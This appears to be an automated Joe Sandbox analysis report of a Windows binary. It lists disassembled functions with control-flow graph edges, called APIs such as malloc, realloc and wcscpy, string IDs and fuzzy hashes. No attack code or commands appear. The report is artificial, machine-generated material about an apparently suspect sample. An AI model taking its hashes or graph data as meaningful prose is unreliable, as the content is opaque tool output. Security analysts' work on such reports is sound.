                                  control_flow_graph 1708 7ff779702df3-7ff779702e04 1709 7ff779702fd1 1708->1709 1710 7ff779702e0a-7ff779702e16 isxdigit 1708->1710 1712 7ff779702fd3-7ff779702fe2 1709->1712 1710->1709 1711 7ff779702e1c-7ff779702e28 isxdigit 1710->1711 1711->1709 1713 7ff779702e2e-7ff779702e3a isxdigit 1711->1713 1713->1709 1714 7ff779702e40-7ff779702e4c isxdigit 1713->1714 1714->1709 1715 7ff779702e52-7ff779702e5e isxdigit 1714->1715 1715->1709 1716 7ff779702e64-7ff779702e70 isxdigit 1715->1716 1716->1709 1717 7ff779702e76-7ff779702e82 isxdigit 1716->1717 1717->1709 1718 7ff779702e88-7ff779702e94 isxdigit 1717->1718 1718->1709 1719 7ff779702e9a-7ff779702ea6 isxdigit 1718->1719 1719->1709 1720 7ff779702eac-7ff779702eb8 isxdigit 1719->1720 1720->1709 1721 7ff779702ebe-7ff779702eca isxdigit 1720->1721 1721->1709 1722 7ff779702ed0-7ff779702edc isxdigit 1721->1722 1722->1709 1723 7ff779702ee2-7ff779702eee isxdigit 1722->1723 1723->1709 1724 7ff779702ef4-7ff779702f00 isxdigit 1723->1724 1724->1709 1725 7ff779702f06-7ff779702f12 isxdigit 1724->1725 1725->1709 1726 7ff779702f18-7ff779702f24 isxdigit 1725->1726 1726->1709 1727 7ff779702f2a-7ff779702f34 1726->1727 1727->1709 1728 7ff779702f3a-7ff779702f3d 1727->1728 1728->1709 1729 7ff779702f43-7ff779702f62 1728->1729 1730 7ff779702f64-7ff779702f71 malloc 1729->1730 1731 7ff779702f8e-7ff779702fcf 1729->1731 1732 7ff779703080-7ff779703085 call 7ff7796f2d30 1730->1732 1733 7ff779702f77-7ff779702f8b 1730->1733 1731->1709 1731->1712 1733->1731
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: 7f82570470b9a3b9cecc052cb3018d2ab878e44e7211999c67834c7bc2493845
                                  • Instruction ID: 1a8d4aa634820ab3c0345fe9f1f572a1a5ce9bf8a7bebd3df7b4df32316435be
                                  • Opcode Fuzzy Hash: 7f82570470b9a3b9cecc052cb3018d2ab878e44e7211999c67834c7bc2493845
                                  • Instruction Fuzzy Hash: EA51892363AA8742E7946F249C9037EA7B1EF44FC2F980039CA5D45991DF2CF5A1D270
                                  Function 00007FF7797082A0 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 243COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1736 7ff7797082a0-7ff7797082e0 1737 7ff77970830d-7ff779708354 1736->1737 1738 7ff7797082e2-7ff7797082ef malloc 1736->1738 1741 7ff77970835a-7ff779708368 1737->1741 1742 7ff7797083fc-7ff779708410 _assert 1737->1742 1739 7ff7797082f5-7ff77970830a 1738->1739 1740 7ff779708416-7ff779708433 call 7ff7796f2d30 1738->1740 1739->1737 1749 7ff779708495-7ff7797084ab 1740->1749 1750 7ff779708435-7ff779708438 1740->1750 1744 7ff7797083d7-7ff7797083fb 1741->1744 1745 7ff77970836a-7ff779708380 1741->1745 1742->1740 1747 7ff779708398-7ff7797083a3 malloc 1745->1747 1748 7ff779708382-7ff779708394 realloc 1745->1748 1747->1740 1753 7ff7797083a5-7ff7797083ab 1747->1753 1751 7ff7797083bf-7ff7797083d2 1748->1751 1752 7ff779708396 1748->1752 1756 7ff7797084d9-7ff7797084e9 1749->1756 1757 7ff7797084ad-7ff7797084d0 realloc 1749->1757 1754 7ff7797084eb-7ff779708501 1750->1754 1755 7ff77970843e-7ff779708440 1750->1755 1751->1744 1752->1740 1758 7ff7797083bb 1753->1758 1759 7ff7797083ad-7ff7797083b6 memcpy 1753->1759 1760 7ff77970852f 1754->1760 1761 7ff779708503-7ff779708526 realloc 1754->1761 1762 7ff77970853d-7ff779708542 1755->1762 1763 7ff779708446-7ff77970845c 1755->1763 1766 7ff77970853a 1756->1766 1764 7ff7797085f1-7ff7797085f6 call 7ff7796f2d30 1757->1764 1765 7ff7797084d6 1757->1765 1758->1751 1759->1758 1768 7ff779708535 1760->1768 1761->1764 1767 7ff77970852c 1761->1767 1769 7ff779708548-7ff779708556 1762->1769 1770 7ff7797085e9-7ff7797085f0 1762->1770 1771 7ff77970848a-7ff779708490 1763->1771 1772 7ff77970845e-7ff779708481 realloc 1763->1772 1765->1756 1766->1762 1767->1760 1768->1766 1775 7ff779708560-7ff779708589 1769->1775 1771->1768 1772->1764 1776 7ff779708487 1772->1776 1775->1775 1777 7ff77970858b-7ff77970858e 1775->1777 1776->1771 1777->1770 1778 7ff779708590-7ff7797085a4 1777->1778 1779 7ff7797085cf-7ff7797085e5 memcpy 1778->1779 1780 7ff7797085a6-7ff7797085c9 realloc 1778->1780 1779->1770 1780->1764 1781 7ff7797085cb 1780->1781 1781->1779
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy$_assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Calling back() on empty vector!"$yptn
                                  • API String ID: 3355138791-4068048850
                                  • Opcode ID: 4d44fd90ec9d97f9a4df74b2dd578239c104db6aa568a6ee0de0dbe9cbb52ee8
                                  • Instruction ID: 4b8fb2403ef50420c9f4da74687ca917b16f0061814dddcbb5096656add9f257
                                  • Opcode Fuzzy Hash: 4d44fd90ec9d97f9a4df74b2dd578239c104db6aa568a6ee0de0dbe9cbb52ee8
                                  • Instruction Fuzzy Hash: 5A91C173A26B8682EB65DF09E8446A9B3B5EB58BC0F848531DB8D47390EF3CD541C350
                                  Function 00007FF77970F790 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 311COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1782 7ff77970f790-7ff77970f7a7 1783 7ff77970f7a9-7ff77970f7b1 1782->1783 1784 7ff77970f7e2-7ff77970f802 1782->1784 1783->1784 1785 7ff77970f7b3-7ff77970f7b8 1783->1785 1789 7ff77970f81d-7ff77970f82f 1784->1789 1790 7ff77970f804-7ff77970f807 1784->1790 1785->1784 1786 7ff77970f7ba-7ff77970f7dc 1785->1786 1786->1784 1788 7ff77970f959-7ff77970f96f 1786->1788 1791 7ff77970f99d-7ff77970f9b9 1788->1791 1792 7ff77970f971-7ff77970f994 realloc 1788->1792 1795 7ff77970f85e-7ff77970f862 1789->1795 1796 7ff77970f831-7ff77970f854 realloc 1789->1796 1793 7ff77970f809-7ff77970f81b 1790->1793 1794 7ff77970f866-7ff77970f875 1790->1794 1802 7ff77970f9bb-7ff77970f9cd 1791->1802 1803 7ff77970fa0e-7ff77970fa1c 1791->1803 1798 7ff77970fa4f-7ff77970fa74 call 7ff7796f2d30 1792->1798 1801 7ff77970f99a 1792->1801 1793->1789 1793->1794 1799 7ff77970f877-7ff77970f87a 1794->1799 1800 7ff77970f8bb-7ff77970f8cd 1794->1800 1795->1794 1797 7ff77970f85a 1796->1797 1796->1798 1797->1795 1823 7ff77970faaf-7ff77970faba 1798->1823 1824 7ff77970fa76-7ff77970fa7e 1798->1824 1805 7ff77970f898-7ff77970f89d 1799->1805 1806 7ff77970f87c-7ff77970f88e 1799->1806 1810 7ff77970f8fc-7ff77970f900 1800->1810 1811 7ff77970f8cf-7ff77970f8f2 realloc 1800->1811 1801->1791 1807 7ff77970f9f7-7ff77970fa0b memcpy 1802->1807 1808 7ff77970f9cf-7ff77970f9f2 realloc 1802->1808 1812 7ff77970fa1e-7ff77970fa41 realloc 1803->1812 1813 7ff77970fa46-7ff77970fa4a 1803->1813 1805->1800 1818 7ff77970f89f-7ff77970f8a5 1805->1818 1806->1800 1829 7ff77970f890-7ff77970f894 1806->1829 1807->1803 1808->1798 1819 7ff77970f9f4 1808->1819 1815 7ff77970f904-7ff77970f91a 1810->1815 1811->1798 1820 7ff77970f8f8 1811->1820 1812->1798 1814 7ff77970fa43 1812->1814 1816 7ff77970f94c-7ff77970f958 1813->1816 1814->1813 1821 7ff77970f948 1815->1821 1822 7ff77970f91c-7ff77970f93f realloc 1815->1822 1818->1815 1826 7ff77970f8a7-7ff77970f8b9 1818->1826 1819->1807 1820->1810 1821->1816 1822->1798 1827 7ff77970f945 1822->1827 1830 7ff77970fabc-7ff77970fabf 1823->1830 1831 7ff77970fb00-7ff77970fb12 1823->1831 1824->1823 1828 7ff77970fa80-7ff77970fa85 1824->1828 1826->1800 1826->1815 1827->1821 1828->1823 1834 7ff77970fa87-7ff77970faa9 1828->1834 1829->1805 1835 7ff77970fadd-7ff77970fae2 1830->1835 1836 7ff77970fac1-7ff77970fad3 1830->1836 1832 7ff77970fb3d-7ff77970fb41 1831->1832 1833 7ff77970fb14-7ff77970fb37 realloc 1831->1833 1840 7ff77970fb45-7ff77970fb5f 1832->1840 1838 7ff77970fb39 1833->1838 1839 7ff77970fb6b-7ff77970fb70 call 7ff7796f2d30 1833->1839 1834->1823 1841 7ff77970fb63-7ff77970fb6a 1834->1841 1835->1831 1842 7ff77970fae4-7ff77970faea 1835->1842 1836->1831 1847 7ff77970fad5-7ff77970fad9 1836->1847 1838->1832 1840->1841 1842->1840 1843 7ff77970faec-7ff77970fafe 1842->1843 1843->1831 1843->1840 1847->1835
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID: c_object$c_object$objc_obj$objc_obj
                                  • API String ID: 1833655766-1179801904
                                  • Opcode ID: 68cd87f9df8f5cfa69a5d2627882f52522deb85eface613025237f93cf7fe6bf
                                  • Instruction ID: ce4d79be2f2b4b7422f39e5caa8ae9a6a6fe186a532dbb409bf889ea43dfae77
                                  • Opcode Fuzzy Hash: 68cd87f9df8f5cfa69a5d2627882f52522deb85eface613025237f93cf7fe6bf
                                  • Instruction Fuzzy Hash: 1DC173A7A26B4682EE64EF19E88526DA7B1EB99FC0F548431CB8D47790DF3CD441C350
                                  Function 00007FF779717F20 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1849 7ff779717f20-7ff779717f8d memset 1850 7ff779718191-7ff7797181b0 memset 1849->1850 1851 7ff779717f93-7ff779717fd1 1849->1851 1853 7ff779718362-7ff77971839d call 7ff7796f1370 1850->1853 1854 7ff7797181b6-7ff7797181bd 1850->1854 1852 7ff779717ff3-7ff779718000 1851->1852 1856 7ff77971800a-7ff779718021 memset 1852->1856 1857 7ff779718002-7ff779718008 1852->1857 1859 7ff7797181bf-7ff7797181f2 1853->1859 1867 7ff7797183a3 1853->1867 1858 7ff7797181f9-7ff7797182f8 wcscpy wcscat wcslen call 7ff7796f1422 1854->1858 1854->1859 1862 7ff779718027-7ff77971802e 1856->1862 1863 7ff77971814b-7ff779718186 call 7ff7796f1370 1856->1863 1857->1856 1861 7ff779717fe0 1857->1861 1871 7ff7797182fa-7ff779718330 call 7ff7796f1431 call 7ff7796f145e 1858->1871 1872 7ff779718335-7ff779718361 1858->1872 1859->1858 1868 7ff779717fe6-7ff779717fed 1861->1868 1869 7ff779718030-7ff77971805c 1862->1869 1870 7ff779718063-7ff77971812e wcscpy wcscat wcslen call 7ff7796f1422 1862->1870 1863->1869 1877 7ff77971818c 1863->1877 1867->1858 1868->1850 1868->1852 1869->1870 1879 7ff77971813a-7ff779718143 1870->1879 1880 7ff779718130-7ff779718135 call 7ff7796f145e 1870->1880 1871->1872 1877->1870 1879->1868 1883 7ff779718149 1879->1883 1880->1879 1883->1850
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memset$wcscatwcscpywcslen
                                  • String ID: $0$0$@$@
                                  • API String ID: 4263182637-1413854666
                                  • Opcode ID: cdbdf97fc269be1a0d164d62ed342f19875fa9a7fd4d8a48898fd4e855d17c00
                                  • Instruction ID: 18bdfb0928f6d8017f3bea3969f60d05ccfa1aaf3496fb2cea29b0483c87b4ed
                                  • Opcode Fuzzy Hash: cdbdf97fc269be1a0d164d62ed342f19875fa9a7fd4d8a48898fd4e855d17c00
                                  • Instruction Fuzzy Hash: DBB18F6297E6C2C6E321AF14E8013ABF7B0FBC4384F801539EA8C566A5DF7CD1468B51
                                  Function 00007FF77970CA90 Relevance: 19.7, APIs: 10, Strings: 1, Instructions: 417COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1884 7ff77970ca90-7ff77970caaf 1885 7ff77970cac1-7ff77970cac4 1884->1885 1886 7ff77970cab1-7ff77970cab4 1884->1886 1888 7ff77970caf5 1885->1888 1889 7ff77970cac6-7ff77970cac9 1885->1889 1886->1885 1887 7ff77970cab6-7ff77970cabc 1886->1887 1887->1885 1890 7ff77970caf8-7ff77970cb02 1888->1890 1891 7ff77970cacb-7ff77970cad1 1889->1891 1892 7ff77970cad4-7ff77970cad7 1889->1892 1895 7ff77970cb1b-7ff77970cb24 1890->1895 1896 7ff77970cb04-7ff77970cb07 1890->1896 1891->1892 1893 7ff77970cad9-7ff77970cadc 1892->1893 1894 7ff77970cb0c-7ff77970cb19 1892->1894 1893->1890 1897 7ff77970cade-7ff77970caf1 1893->1897 1894->1895 1894->1896 1899 7ff77970cb2a-7ff77970cb33 1895->1899 1900 7ff77970cc35-7ff77970cc54 1895->1900 1898 7ff77970ccc8-7ff77970ccd9 1896->1898 1897->1896 1901 7ff77970caf3 1897->1901 1906 7ff77970ccea-7ff77970cced 1898->1906 1907 7ff77970ccdb-7ff77970cce4 1898->1907 1902 7ff77970ce88-7ff77970ce9a call 7ff779700a70 1899->1902 1903 7ff77970cb39-7ff77970cb42 1899->1903 1904 7ff77970cc80-7ff77970ccbf 1900->1904 1905 7ff77970cc56-7ff77970cc63 malloc 1900->1905 1901->1895 1911 7ff77970cf44 1902->1911 1923 7ff77970cea0-7ff77970ceaa 1902->1923 1903->1896 1912 7ff77970cb44-7ff77970cb61 1903->1912 1904->1898 1913 7ff77970cc69-7ff77970cc7d 1905->1913 1914 7ff77970d0db-7ff77970d0e0 call 7ff7796f2d30 1905->1914 1910 7ff77970ccf3-7ff77970ccf6 1906->1910 1906->1911 1907->1906 1909 7ff77970ce73-7ff77970ce7d 1907->1909 1909->1910 1920 7ff77970ce83 1909->1920 1910->1911 1916 7ff77970ccfc-7ff77970cd06 1910->1916 1917 7ff77970cf46-7ff77970cf59 1911->1917 1919 7ff77970cbbe-7ff77970cbc1 1912->1919 1913->1904 1924 7ff77970cd08-7ff77970cd0b 1916->1924 1925 7ff77970cd14-7ff77970cd1f call 7ff7796fba60 1916->1925 1921 7ff77970cbcc-7ff77970cbd7 call 7ff7796fba60 1919->1921 1922 7ff77970cbc3-7ff77970cbc6 1919->1922 1920->1911 1921->1917 1936 7ff77970cbdd-7ff77970cbe8 1921->1936 1922->1921 1927 7ff77970cf68-7ff77970cf96 call 7ff7796fd9a0 1922->1927 1923->1911 1929 7ff77970ceb0-7ff77970ceb3 1923->1929 1924->1925 1930 7ff77970cd0d-7ff77970cd11 1924->1930 1925->1911 1939 7ff77970cd25-7ff77970cd4f 1925->1939 1946 7ff77970cf9c-7ff77970cfad malloc 1927->1946 1947 7ff77970d095 1927->1947 1929->1911 1933 7ff77970ceb9-7ff77970ced7 1929->1933 1930->1925 1937 7ff77970ced9-7ff77970cee6 malloc 1933->1937 1938 7ff77970cf03-7ff77970cf3f 1933->1938 1941 7ff77970cbaa-7ff77970cbba 1936->1941 1942 7ff77970cbea-7ff77970cbff 1936->1942 1937->1914 1943 7ff77970ceec-7ff77970cf00 1937->1943 1938->1898 1944 7ff77970cd51 1939->1944 1945 7ff77970cd72-7ff77970cd75 1939->1945 1941->1919 1949 7ff77970cb70-7ff77970cb7f realloc 1942->1949 1950 7ff77970cc05-7ff77970cc10 malloc 1942->1950 1943->1938 1952 7ff77970cde2-7ff77970cde9 1944->1952 1953 7ff77970cf5a-7ff77970cf61 1945->1953 1954 7ff77970cd7b-7ff77970cd7e 1945->1954 1946->1914 1948 7ff77970cfb3-7ff77970cfca 1946->1948 1951 7ff77970d099-7ff77970d0d6 1947->1951 1948->1951 1949->1914 1959 7ff77970cb85-7ff77970cba6 1949->1959 1950->1914 1957 7ff77970cc16-7ff77970cc1c 1950->1957 1951->1898 1955 7ff77970cdeb-7ff77970cdf9 1952->1955 1956 7ff77970ce0e-7ff77970ce19 call 7ff7796fba60 1952->1956 1958 7ff77970cfd2-7ff77970d005 call 7ff7796fd9a0 1953->1958 1954->1952 1960 7ff77970cd80 1954->1960 1961 7ff77970cdff-7ff77970ce08 1955->1961 1962 7ff77970cf63-7ff77970cf66 1955->1962 1956->1917 1973 7ff77970ce1f-7ff77970ce2a 1956->1973 1965 7ff77970cc2c-7ff77970cc30 1957->1965 1966 7ff77970cc1e-7ff77970cc27 memcpy 1957->1966 1971 7ff77970d007-7ff77970d014 malloc 1958->1971 1972 7ff77970d031-7ff77970d090 1958->1972 1959->1941 1960->1945 1960->1952 1961->1956 1968 7ff77970cfcf 1961->1968 1962->1958 1965->1959 1966->1965 1968->1958 1971->1914 1974 7ff77970d01a-7ff77970d02e 1971->1974 1972->1917 1975 7ff77970cdca-7ff77970cde0 1973->1975 1976 7ff77970ce2c-7ff77970ce3d 1973->1976 1974->1972 1975->1945 1975->1952 1977 7ff77970cd90-7ff77970cd9f realloc 1976->1977 1978 7ff77970ce43-7ff77970ce4e malloc 1976->1978 1977->1914 1980 7ff77970cda5-7ff77970cdc6 1977->1980 1978->1914 1979 7ff77970ce54-7ff77970ce5a 1978->1979 1981 7ff77970ce6a-7ff77970ce6e 1979->1981 1982 7ff77970ce5c-7ff77970ce65 memcpy 1979->1982 1980->1975 1981->1980 1982->1981
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$memcpy
                                  • String ID: noexcept
                                  • API String ID: 3800483350-1409219070
                                  • Opcode ID: 23c07888132c1ba9a5abca388b04d8f54e5c1515e0ee32ea7d1c2d187f81c89b
                                  • Instruction ID: 18d3ca69171a0f96e0d4c9716116c1d68ea69e87eb05d0efc232ba6b2ee0e10a
                                  • Opcode Fuzzy Hash: 23c07888132c1ba9a5abca388b04d8f54e5c1515e0ee32ea7d1c2d187f81c89b
                                  • Instruction Fuzzy Hash: 1102B07363AB4286EAA09F19E84426AB7B5FB48B80F884535DB8D47791EF3CE451C350
                                  Function 00007FF779717260 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 318COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                  • String ID: 0$X$`
                                  • API String ID: 329590056-2527496196
                                  • Opcode ID: 45aed35eb9f863044d84302e0661416d15cae368e09a4d5212cccfba54d1e7ac
                                  • Instruction ID: bdad9ea9ee696218489f03980679d7a9b387512c9ec2879e9db21b4a3263eecd
                                  • Opcode Fuzzy Hash: 45aed35eb9f863044d84302e0661416d15cae368e09a4d5212cccfba54d1e7ac
                                  • Instruction Fuzzy Hash: 1C027B2393AB82C2E720AF14E8403AAB7B0FB85794F804639DA9C477A5DF3CE155C750
                                  Function 00007FF77970E230 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 266COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: restric$ volatil
                                  • API String ID: 471065373-3617781792
                                  • Opcode ID: 04e3ec345cb3c778bbf34f95bdb079c4d89fbdfe26ba5954cde4d1f3c9909d39
                                  • Instruction ID: 8693b10831b08c58555d11fb7499ce2b073b3e750c283630ca13d876906bb69c
                                  • Opcode Fuzzy Hash: 04e3ec345cb3c778bbf34f95bdb079c4d89fbdfe26ba5954cde4d1f3c9909d39
                                  • Instruction Fuzzy Hash: E8B163B3A26B4683DA69DF59E94426DB371EB58BC0F408431DB9E477A0EF3CE4518350
                                  Function 00007FF779709ED0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 256COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcpy
                                  • String ID: at offs$set
                                  • API String ID: 1059646398-2369781007
                                  • Opcode ID: ce501ce98fd795f4a36eda83ed67996a915afdf4059a98f1c7426f5b765f9e9f
                                  • Instruction ID: 9d6b802190f57953b9daa7e3d158fd638b38f38eb9dd4d842ce77e1be8060a7a
                                  • Opcode Fuzzy Hash: ce501ce98fd795f4a36eda83ed67996a915afdf4059a98f1c7426f5b765f9e9f
                                  • Instruction Fuzzy Hash: 84A1C2B3A26B8682EF299F15E8443A9A3B1FB58BC4F448531CB8D07794EF3CE5518350
                                  Function 00007FF7796F6830 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 239COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
